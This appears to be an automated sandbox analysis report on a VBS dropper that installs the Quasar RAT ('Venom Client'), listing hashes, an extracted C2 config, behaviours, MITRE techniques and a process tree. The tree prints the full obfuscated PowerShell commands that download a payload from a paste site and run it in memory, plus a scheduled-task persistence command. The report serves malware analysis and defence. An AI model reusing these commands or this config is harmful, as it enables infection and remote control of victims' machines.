quasar | c1db9e5e071025c583f23a3223762422e6caa9c23ad1cbdfd0ce7a73d668ced0

General

Target

e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs
Size

163KB
MD5

11f76a33d09caf69b8ade7f6f2410bf3
SHA1

e8058ec22549d5d144389b3feaa4f594df1f6d20
SHA256

e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123
SHA512

59bd6405abff46700f10136ceb12a887d0403e3f61e7ba55f3787ade85595f7def2062bed401f9f304f04d9727cda87e0189f42980c90a1f195844e087c92a2c
SSDEEP

3072:iKfIfffo4fffff/oofTffgoff4ZyRKNP85LQG:m

Score

10^/10

quasar venom client spyware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://textbin.net/raw/ezjmofz3s6

Extracted

Family

quasar

Version

2.7.0.0

Botnet

Venom Client

C2

crazydns.linkpc.net:3000

Mutex

ER5Ojs5Por1j5joXR6

Attributes

encryption_key
HHtj6qkHuyo7mzRB7Q0O
install_name
Venom.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Venom Client Startup

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4200-60-0x0000000000400000-0x0000000000510000-memory.dmp	family_quasar

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

15 4868 powershell.exe
18 4868 powershell.exe

flow	pid	process
15	4868	powershell.exe
18	4868	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hpfWZL.lnk powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

37 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4868 set thread context of 4200 4868 powershell.exe InstallUtil.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

452 schtasks.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hpfWZL.lnk	powershell.exe

flow	ioc
37	ip-api.com

description	pid	process	target process
PID 4868 set thread context of 4200	4868	powershell.exe	InstallUtil.exe

pid	process
452	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2968	powershell.exe
2968	powershell.exe
4868	powershell.exe
4868	powershell.exe
1544	powershell.exe
4452	powershell.exe
4452	powershell.exe
1544	powershell.exe
4868	powershell.exe
4868	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exeInstallUtil.exe

description	pid	process
Token: SeDebugPrivilege	2968	powershell.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	4200	InstallUtil.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

WScript.exepowershell.exepowershell.execmd.exe

description	pid	process	target process
PID 4508 wrote to memory of 2968	4508	WScript.exe	powershell.exe
PID 4508 wrote to memory of 2968	4508	WScript.exe	powershell.exe
PID 2968 wrote to memory of 4868	2968	powershell.exe	powershell.exe
PID 2968 wrote to memory of 4868	2968	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1544	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 1544	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 2012	4868	powershell.exe	cmd.exe
PID 4868 wrote to memory of 2012	4868	powershell.exe	cmd.exe
PID 4868 wrote to memory of 4452	4868	powershell.exe	powershell.exe
PID 4868 wrote to memory of 4452	4868	powershell.exe	powershell.exe
PID 2012 wrote to memory of 452	2012	cmd.exe	schtasks.exe
PID 2012 wrote to memory of 452	2012	cmd.exe	schtasks.exe
PID 4868 wrote to memory of 3672	4868	powershell.exe	InstallUtil.exe
PID 4868 wrote to memory of 3672	4868	powershell.exe	InstallUtil.exe
PID 4868 wrote to memory of 3672	4868	powershell.exe	InstallUtil.exe
PID 4868 wrote to memory of 4200	4868	powershell.exe	InstallUtil.exe
PID 4868 wrote to memory of 4200	4868	powershell.exe	InstallUtil.exe
PID 4868 wrote to memory of 4200	4868	powershell.exe	InstallUtil.exe
PID 4868 wrote to memory of 4200	4868	powershell.exe	InstallUtil.exe
PID 4868 wrote to memory of 4200	4868	powershell.exe	InstallUtil.exe
PID 4868 wrote to memory of 4200	4868	powershell.exe	InstallUtil.exe
PID 4868 wrote to memory of 4200	4868	powershell.exe	InstallUtil.exe
PID 4868 wrote to memory of 4200	4868	powershell.exe	InstallUtil.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $ExeNy = 'J▒B3▒GQ▒ZQBj▒GQ▒I▒▒9▒C▒▒Jw▒w▒DI▒Mw▒n▒Ds▒J▒B5▒Gk▒b▒Bi▒G4▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bp▒G4▒cgBm▒HE▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwB0▒GU▒e▒B0▒GI▒aQBu▒C4▒bgBl▒HQ▒LwBy▒GE▒dw▒v▒GU▒egBq▒G0▒bwBm▒Ho▒MwBz▒DY▒Jw▒p▒C▒▒KQ▒g▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒Gk▒bgBy▒GY▒cQ▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒QwBs▒GE▒cwBz▒Ew▒aQBi▒HI▒YQBy▒Hk▒OQ▒4▒Dk▒OQ▒5▒Dk▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒WgB4▒Es▒S▒BH▒Cc▒KQ▒u▒Ek▒bgB2▒G8▒awBl▒Cg▒J▒Bu▒HU▒b▒Bs▒Cw▒I▒Bb▒G8▒YgBq▒GU▒YwB0▒Fs▒XQBd▒C▒▒K▒▒n▒GI▒YQBp▒Gw▒bwBq▒Hg▒a▒Bt▒FQ▒UQB4▒C8▒Z▒Bh▒G8▒b▒Bu▒Hc▒bwBk▒C8▒bQBv▒GM▒LgBv▒Gk▒ZQB0▒HM▒YQBw▒C8▒Lw▒6▒HM▒c▒B0▒HQ▒a▒▒n▒C▒▒L▒▒g▒CQ▒eQBp▒Gw▒YgBu▒C▒▒L▒▒g▒Cc▒a▒Bw▒GY▒VwBa▒Ew▒Jw▒s▒C▒▒J▒B3▒GQ▒ZQBj▒GQ▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs');powershell -command $KByHL;
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$wdecd = '023';$yilbn = 'C:\Users\Admin\AppData\Local\Temp\e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs';[Byte[]] $inrfq = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://textbin.net/raw/ezjmofz3s6') ) );[system.AppDomain]::CurrentDomain.Load($inrfq).GetType('ClassLibrary989999.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('bailojxhmTQx/daolnwod/moc.oietsap//:sptth' , $yilbn , 'hpfWZL', $wdecd, '1', 'Roda' ));"
3⤵
- Blocklisted process makes network request
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1544

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c schtasks.exe /create /tn "Roda" /tr "wscript.exe //b //nologo 'C:\Users\Admin\AppData\Local\Temp\xx.vbs'" /sc minute /mo 1 /f & exit
4⤵
- Suspicious use of WriteProcessMemory
PID:2012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Roda" /tr "wscript.exe //b //nologo 'C:\Users\Admin\AppData\Local\Temp\xx.vbs'" /sc minute /mo 1 /f
5⤵
- Creates scheduled task(s)
PID:452

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\e775da7c0b55fe06c5de02e116243cb82155d6dc462c220280becaa5b8334123.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4452

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
4⤵
PID:3672

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4200

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
6fe7f2ff9f024b0658a4113e39b826fc

SHA1
07a0d4ec3b19b62fd409ddb60e843021ac40f1f3

SHA256
e8f1c76e1435d42070f4d6c600c2301710b291674c00ef9c069508f0fea69cf1

SHA512
64448c79c9070cbc179df72420c1d86d10ea2ff8ae0d9c3fed5676851cb45a64e65a9d637a1f8f41ecf4dc51c3d5ff8a689519d9ea13d9837b3f9cfaddd13979

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cxa4ul2o.spe.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1544-51-0x0000025621FE0000-0x0000025621FF0000-memory.dmp

Filesize
64KB

Download
memory/1544-61-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmp

Filesize
10.8MB

Download
memory/1544-31-0x0000025621FE0000-0x0000025621FF0000-memory.dmp

Filesize
64KB

Download
memory/1544-30-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmp

Filesize
10.8MB

Download
memory/2968-11-0x0000015A1F1B0000-0x0000015A1F1C0000-memory.dmp

Filesize
64KB

Download
memory/2968-67-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmp

Filesize
10.8MB

Download
memory/2968-5-0x0000015A37FD0000-0x0000015A37FF2000-memory.dmp

Filesize
136KB

Download
memory/2968-13-0x0000015A1F1B0000-0x0000015A1F1C0000-memory.dmp

Filesize
64KB

Download
memory/2968-12-0x0000015A1F1B0000-0x0000015A1F1C0000-memory.dmp

Filesize
64KB

Download
memory/2968-10-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmp

Filesize
10.8MB

Download
memory/4200-69-0x00000000057C0000-0x0000000005D64000-memory.dmp

Filesize
5.6MB

Download
memory/4200-68-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download
memory/4200-70-0x00000000052B0000-0x0000000005342000-memory.dmp

Filesize
584KB

Download
memory/4200-72-0x00000000054C0000-0x0000000005526000-memory.dmp

Filesize
408KB

Download
memory/4200-73-0x00000000060D0000-0x00000000060E2000-memory.dmp

Filesize
72KB

Download
memory/4200-60-0x0000000000400000-0x0000000000510000-memory.dmp

Filesize
1.1MB

Download
memory/4200-77-0x00000000051D0000-0x00000000051E0000-memory.dmp

Filesize
64KB

Download
memory/4200-76-0x00000000748E0000-0x0000000075090000-memory.dmp

Filesize
7.7MB

Download
memory/4200-75-0x00000000066B0000-0x00000000066BA000-memory.dmp

Filesize
40KB

Download
memory/4200-74-0x0000000006510000-0x000000000654C000-memory.dmp

Filesize
240KB

Download
memory/4200-71-0x00000000051D0000-0x00000000051E0000-memory.dmp

Filesize
64KB

Download
memory/4452-50-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmp

Filesize
10.8MB

Download
memory/4452-52-0x0000011A3FED0000-0x0000011A3FEE0000-memory.dmp

Filesize
64KB

Download
memory/4452-55-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmp

Filesize
10.8MB

Download
memory/4868-27-0x000002A1F0EC0000-0x000002A1F0ECA000-memory.dmp

Filesize
40KB

Download
memory/4868-23-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmp

Filesize
10.8MB

Download
memory/4868-24-0x000002A1F0490000-0x000002A1F04A0000-memory.dmp

Filesize
64KB

Download
memory/4868-26-0x000002A1F0490000-0x000002A1F04A0000-memory.dmp

Filesize
64KB

Download
memory/4868-64-0x00007FFBE5320000-0x00007FFBE5DE1000-memory.dmp

Filesize
10.8MB

Download
memory/4868-25-0x000002A1F0490000-0x000002A1F04A0000-memory.dmp

Filesize
64KB

Download
memory/4868-56-0x000002A1F0F00000-0x000002A1F0F0A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads